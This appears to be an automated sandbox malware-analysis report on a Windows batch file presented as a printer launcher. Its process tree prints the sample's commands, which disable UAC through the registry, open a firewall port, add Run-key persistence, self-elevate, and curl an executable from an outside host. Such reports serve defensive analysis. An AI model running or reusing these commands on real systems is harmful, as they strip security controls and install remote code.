c0a26d9852c08d1eb6ed95e6905740c0c73436d19f128140c3c54ca9dfeeef91

Analysis

max time kernel
149s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 17:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
print20251118/AA-点击这里启动打印程序.bat
Size 2KB
Sample260528-v855tsht6l
SHA256 c0a26d9852c08d1eb6ed95e6905740c0c73436d19f128140c3c54ca9dfeeef91
MD5 4a763732a0fb6b5f2277898b8a4d56d4
SHA1 f32a748f90573439b6d219e611581cb3a4c5c278
SHA512 11c1b1454d7b6cf50b2c0fc2680565baff90a561746b1119db954e4d9ad9fc9f19f1d00024b8d38358b48bb475e40d452a9fcdcf9c4a3b68f8d06854e1896176
TLSH
T1FD51872A280BCD519F60E160F9050A13FD5F5B8F6120DFA67CD7815457A78E26CFC5CA
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5308	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BLMPrinterSVC = "C:\\Users\\Admin\\AppData\\Local\\Temp\\print20251118\\BLMPrinterSVC.exe"	BLMPrinterSVC.exe

Access Token Manipulation: Create Process with Token 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
1088	reg.exe
5776	powershell.exe
432	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
5676	timeout.exe
4324	timeout.exe
2940	timeout.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
432	powershell.exe
432	powershell.exe
5776	powershell.exe
5776	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	6064	BLMPrinterSVC.exe
Token: SeDebugPrivilege	5776	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
6064	BLMPrinterSVC.exe
6064	BLMPrinterSVC.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
6064	BLMPrinterSVC.exe
6064	BLMPrinterSVC.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 2200	4012	cmd.exe	81
PID 4012 wrote to memory of 432	4012	cmd.exe	82
PID 432 wrote to memory of 5452	432	powershell.exe	83
PID 5452 wrote to memory of 1128	5452	cmd.exe	85
PID 5452 wrote to memory of 2408	5452	cmd.exe	86
PID 5452 wrote to memory of 3360	5452	cmd.exe	87
PID 5452 wrote to memory of 1088	5452	cmd.exe	88
PID 5452 wrote to memory of 5308	5452	cmd.exe	89
PID 5452 wrote to memory of 3128	5452	cmd.exe	90
PID 5452 wrote to memory of 5604	5452	cmd.exe	91
PID 5452 wrote to memory of 6064	5452	cmd.exe	92
PID 5452 wrote to memory of 4324	5452	cmd.exe	93
PID 5452 wrote to memory of 3912	5452	cmd.exe	94
PID 5452 wrote to memory of 2940	5452	cmd.exe	96
PID 3912 wrote to memory of 1540	3912	cmd.exe	97
PID 3912 wrote to memory of 5776	3912	cmd.exe	98
PID 5776 wrote to memory of 1248	5776	powershell.exe	99
PID 1248 wrote to memory of 1452	1248	cmd.exe	101
PID 1248 wrote to memory of 5880	1248	cmd.exe	102
PID 1248 wrote to memory of 5676	1248	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\print20251118\AA-点击这里启动打印程序.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\print20251118\AA-点击这里启动打印程序.bat' am_admin
  2⤵
  - Access Token Manipulation: Create Process with Token
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\print20251118\AA-点击这里启动打印程序.bat" am_admin
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5452
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1128
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "Start BLMPrinterSVC" /f
      4⤵
      PID:2408
  - - C:\Windows\system32\reg.exe
      reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "BLMPrinterSVC" /f
      4⤵
      PID:3360
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\print20251118\BLMPrinterSVC.exe" /t REG_SZ /d "RUNASADMIN" /f
      4⤵
      Access Token Manipulation: Create Process with Token
      PID:1088
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="BLM_Print_SVC_Open TCP Port 14014" dir=in action=allow protocol=TCP localport=14014
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5308
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      PID:3128
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "FilterAdministratorToken" /t REG_DWORD /d 0 /f
      4⤵
      PID:5604
  - - C:\Users\Admin\AppData\Local\Temp\print20251118\BLMPrinterSVC.exe
      "C:\Users\Admin\AppData\Local\Temp\print20251118\BLMPrinterSVC.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:6064
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\print20251118\fuxin_install.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3912
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\print20251118\fuxin_install.bat' am_admin
        5⤵
        Access Token Manipulation: Create Process with Token
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5776
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\print20251118\fuxin_install.bat" am_admin
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1248
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:1452
        
        C:\Windows\system32\curl.exe
        
        curl -L --progress-bar -o "C:\Users\Admin\AppData\Local\Temp\pdf_reader_installer.exe" "https://wms-s3-us.bloomzung.com/wms/core/20251118/19906898607857459200328026412.exe"
        7⤵
        
        PID:5880
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        7⤵
        Delays execution with timeout.exe
        
        PID:5676
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:2940

C:\Users\Admin\AppData\Local\Temp\print20251118\BLMPrinterSVC.exe
C:\Users\Admin\AppData\Local\Temp\print20251118\BLMPrinterSVC.exe
1⤵
PID:6076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ca943c02c163cdf5099c1a6f7795399ec72d9d3520f97e01b2cc3fa5a381d5d
MD5 80814906f25b1fe1f0e57faff079ac06
SHA1 2d345eb65650071b9d08c4f23605d016155eb41a
SHA512 60b87cbff23bbca996c907b472e16d64e4d9d9d805fbd97a7f0a36d7f136be242f5e8d9b7a9caf16f7d44fafd2be2a8b69116c9b00e1546727f1a9c6aca6a3de
TLSH
T163115333B79CC234C8E915BA1088AE11B1B1C3C7049EDE8F7A84C109E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_aadcm41z.tca.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aadcm41z.tca.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/432-1-0x0000022CC95A0000-0x0000022CC95B0000-memory.dmp

Download

memory/432-0-0x0000022CC95A0000-0x0000022CC95B0000-memory.dmp

Download

memory/432-9-0x0000022CC95A0000-0x0000022CC95B0000-memory.dmp

Download

memory/432-3-0x0000022CE49D0000-0x0000022CE49F2000-memory.dmp

Download

memory/6064-12-0x000001B65CD70000-0x000001B65CD90000-memory.dmp

Download

memory/6064-13-0x000001B67A080000-0x000001B67A0EC000-memory.dmp

Download